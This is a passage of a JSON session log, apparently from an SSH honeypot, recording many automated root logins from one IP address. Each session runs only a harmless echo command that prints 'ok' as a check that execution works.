  "ended_at": "2026-08-23T08:21:24.454013+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "e41e7429-9edc-4bed-b7a2-5b1af7e1cd5a",
  "name": "slender-drifting-bittern",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 36956,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:21:20.001110+00:00",
  "ended_at": "2026-08-23T08:21:21.732256+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "ee716758-a78a-42bd-ba12-bddaaf8cdf14",
  "name": "pewter-buoyant-sloth",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 33502,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:21:16.956003+00:00",
  "ended_at": "2026-08-23T08:21:19.224044+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "f46d6cd5-9d5d-4c62-a076-2fc666466cb9",
  "name": "oaken-thawing-porcupine",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 33488,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:21:14.539514+00:00",
  "ended_at": "2026-08-23T08:21:16.259797+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "889d6ba1-d5b3-46a1-bc39-a44d0284dc45",
  "name": "calm-upland-marmot",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 33482,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:21:12.859405+00:00",
  "ended_at": "2026-08-23T08:21:13.765008+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "7f4851c7-dd3a-4975-84b9-dc498610fad4",
  "name": "tidal-pleasant-wagtail",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 33478,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:21:09.899605+00:00",
  "ended_at": "2026-08-23T08:21:12.162045+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "0e40e6c1-3d0a-4939-8085-8a16bcab36dc",
  "name": "austere-blazing-plover",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 45930,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:21:07.429149+00:00",
  "ended_at": "2026-08-23T08:21:09.155591+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "a8c14878-05d8-41a7-8a4d-79184e0c50d0",
  "name": "graceful-breezy-weasel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 45926,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:21:05.213015+00:00",
  "ended_at": "2026-08-23T08:21:06.720610+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "3862eb23-6d52-436a-a6f4-73186bb6b300",
  "name": "daring-nautical-peccary",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 45924,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:21:02.985148+00:00",
  "ended_at": "2026-08-23T08:21:04.439704+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "0588c163-323c-48c5-b937-afdb4f84b478",
  "name": "creaky-feral-civet",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 45914,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:21:00.744264+00:00",
  "ended_at": "2026-08-23T08:21:02.213053+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "8c03069a-1467-48ef-8865-cbf88a8ab1de",
  "name": "ashen-proud-tinamou",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 45904,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:20:58.996085+00:00",
  "ended_at": "2026-08-23T08:20:59.938412+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "0841c7e0-7173-4430-8555-925c46160eb6",
  "name": "mottled-lawful-osprey",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 44122,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:20:56.459146+00:00",
  "ended_at": "2026-08-23T08:20:58.216724+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "57b9757f-4b72-4709-9222-f6f7928a9511",
  "name": "gnarled-vivid-marmot",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 44116,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:20:53.755051+00:00",
  "ended_at": "2026-08-23T08:20:55.664226+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "6b7a86f3-f515-48f1-a3db-293050d4169b",
  "name": "earnest-hearty-pochard",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 44106,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:20:51.699824+00:00",
  "ended_at": "2026-08-23T08:20:53.055259+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "300da787-ccdb-4107-a294-0fc7a68f86ba",
  "name": "regal-forlorn-weasel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 59314,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:20:48.818173+00:00",
  "ended_at": "2026-08-23T08:20:50.944008+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "26ae1a6e-92de-4fb8-9b2a-26d0b914ef38",
  "name": "glacial-buoyant-galago",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 59306,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:20:46.427703+00:00",
  "ended_at": "2026-08-23T08:20:47.994049+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "5c7cb74a-b440-4a82-96f1-9c7782075f3d",
  "name": "sullen-frank-cheetah",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 59300,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:20:44.639768+00:00",
  "ended_at": "2026-08-23T08:20:45.787010+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "73dd3e9a-3d12-4fe6-aac6-6d084e902ade",
  "name": "wandering-sincere-civet",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 59288,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:20:43.075445+00:00",
  "ended_at": "2026-08-23T08:20:43.970077+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "5adb7dd5-5d2e-4645-9548-b629a0edeb71",
  "name": "humble-salty-osprey",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 59278,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:20:40.294322+00:00",
  "ended_at": "2026-08-23T08:20:42.285811+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "1429810c-41ff-4613-b60a-f8844d5087ff",
  "name": "diligent-pewter-chinchilla",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 46964,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:20:38.353070+00:00",
  "ended_at": "2026-08-23T08:20:39.664998+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "3d3908bc-37a8-4bbb-bb6c-31947756668b",
  "name": "crisp-drifting-kestrel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 46948,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:20:36.082852+00:00",
  "ended_at": "2026-08-23T08:20:37.685353+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "afcb0d0b-3f11-4c72-8640-2749bc0ded3d",
  "name": "clever-cobalt-waxwing",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 46936,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:20:33.614213+00:00",
  "ended_at": "2026-08-23T08:20:35.362409+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "eb5324ec-57b7-4d55-b335-ca05e86eba40",
  "name": "blunt-peaty-wagtail",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 46924,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:20:30.539061+00:00",
  "ended_at": "2026-08-23T08:20:32.785005+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "198fbbef-6d02-42f4-99f5-02666cd34e9a",
  "name": "crisp-vernal-llama",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 39660,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:20:28.695078+00:00",
  "ended_at": "2026-08-23T08:20:29.726285+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "3cbad7a3-616f-4372-a452-b17dd926d2d7",
  "name": "vigilant-subtle-civet",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 39644,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:20:25.974343+00:00",
  "ended_at": "2026-08-23T08:20:27.926335+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "98efd254-0007-4b02-9dd9-2ab2d4927246",
  "name": "gloomy-western-finch",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 39636,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:20:23.146854+00:00",
  "ended_at": "2026-08-23T08:20:25.324127+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "9d66cf58-47d6-4707-9d14-5009a1742a03",
  "name": "lunar-jolly-antelope",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 39628,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:20:21.121199+00:00",
  "ended_at": "2026-08-23T08:20:22.519867+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "2b78e3bd-0693-43e7-a39a-a6f4f6256fe4",
  "name": "watchful-scarlet-manatee",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 39622,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:20:19.427073+00:00",
  "ended_at": "2026-08-23T08:20:20.327998+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "aa7585e9-4bbb-4272-bae3-f7f9349518f5",
  "name": "clever-thawing-lynx",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 41556,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:20:17.002094+00:00",
  "ended_at": "2026-08-23T08:20:18.617902+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "abe03911-4816-407e-b615-04cc7092ad55",
  "name": "orderly-flinty-gibbon",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 41552,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:20:14.167464+00:00",
  "ended_at": "2026-08-23T08:20:16.336516+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "0dab2335-f11a-4508-9132-7ef3e2b91bd8",
  "name": "serene-whispering-francolin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 41550,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:20:12.068498+00:00",
  "ended_at": "2026-08-23T08:20:13.359045+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "5838eb10-916b-429e-ba4c-7d7d3acecec8",
  "name": "downy-wandering-gharial",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 41534,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:20:10.288074+00:00",
  "ended_at": "2026-08-23T08:20:11.311041+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "1351c3a4-181b-4476-9c92-271a6d94457a",
  "name": "smooth-thawing-moorhen",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 42596,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:20:08.497079+00:00",
  "ended_at": "2026-08-23T08:20:09.665609+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "38b285cd-201b-4371-bac8-fe6f73bfb4c7",
  "name": "misty-golden-pipit",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 42582,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:20:05.585182+00:00",
  "ended_at": "2026-08-23T08:20:07.749069+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "5117e979-7670-43eb-920a-1a706498dbc6",
  "name": "keen-coastal-oryx",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 42572,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:20:02.560135+00:00",
  "ended_at": "2026-08-23T08:20:04.788839+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "a8a10341-de04-4ddd-a1df-cd4dd11121c2",
  "name": "dapper-grumpy-stoat",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 42560,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:20:00.268044+00:00",
  "ended_at": "2026-08-23T08:20:01.890339+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "9b142728-a9f6-4b12-ba3d-65e41c8a2f72",
  "name": "hollow-wry-wren",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 39560,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:19:57.584805+00:00",
  "ended_at": "2026-08-23T08:19:59.617486+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "2c547be9-5b0e-479d-8bdf-08bf88226f8c",
  "name": "distant-rugged-shearwater",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 39552,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:19:55.217768+00:00",
  "ended_at": "2026-08-23T08:19:56.776193+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "4ac32f63-82ce-43fd-8d34-72ff6869a842",
  "name": "electric-humble-anteater",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 39542,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:19:52.782041+00:00",
  "ended_at": "2026-08-23T08:19:54.581430+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "b5327eca-edbd-4059-9520-9ff6b5d32fdc",
  "name": "dewy-nautical-grebe",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 39526,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:19:50.169077+00:00",
  "ended_at": "2026-08-23T08:19:52.113988+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "29fefc12-5405-4f90-b20b-1bcbab15b176",
  "name": "pristine-dutiful-puffin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 56264,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:19:47.974070+00:00",
  "ended_at": "2026-08-23T08:19:49.333774+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "9c074f6a-30d4-4fe7-add1-44dd6a055ccc",
  "name": "airy-freckled-turnstone",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 56256,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:19:45.264460+00:00",
  "ended_at": "2026-08-23T08:19:47.309686+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "5f75ea07-d2a6-4f3f-aa3f-ebd85544542c",
  "name": "hollow-watchful-linnet",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 56240,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:19:42.910640+00:00",
  "ended_at": "2026-08-23T08:19:44.570003+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "1d04445d-8272-4d9b-8a74-178d580bf88c",
  "name": "nimble-craggy-tapir",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 56224,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:19:40.787411+00:00",
  "ended_at": "2026-08-23T08:19:42.179929+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "0f967178-274e-4b01-a205-9ce75e30c71c",
  "name": "jaunty-tidal-hare",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 51070,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:19:38.760127+00:00",
  "ended_at": "2026-08-23T08:19:40.117014+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "d3815b46-0e7d-42b5-9978-c7e90f44f180",
  "name": "thrifty-sterling-adder",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 51058,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:19:36.064106+00:00",
  "ended_at": "2026-08-23T08:19:37.953612+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "4d6c4873-08b8-407e-840d-fa6ffb7fc555",
  "name": "ashen-ancient-springbok",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 51054,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:19:33.715818+00:00",
  "ended_at": "2026-08-23T08:19:35.292940+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "004157ba-adc0-46c7-aed3-617638e1bb22",
  "name": "lively-steady-impala",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 51048,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:19:31.646079+00:00",
  "ended_at": "2026-08-23T08:19:32.888103+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "bdac7302-91e7-43e6-b9c8-cda542862cfd",
  "name": "rapid-cobalt-quoll",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 51040,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:19:29.968643+00:00",
  "ended_at": "2026-08-23T08:19:31.014008+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "25cf6117-951e-46b0-bc32-5c08b5da073f",
  "name": "mighty-burly-whimbrel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 54192,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:19:28.287505+00:00",
  "ended_at": "2026-08-23T08:19:29.327007+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
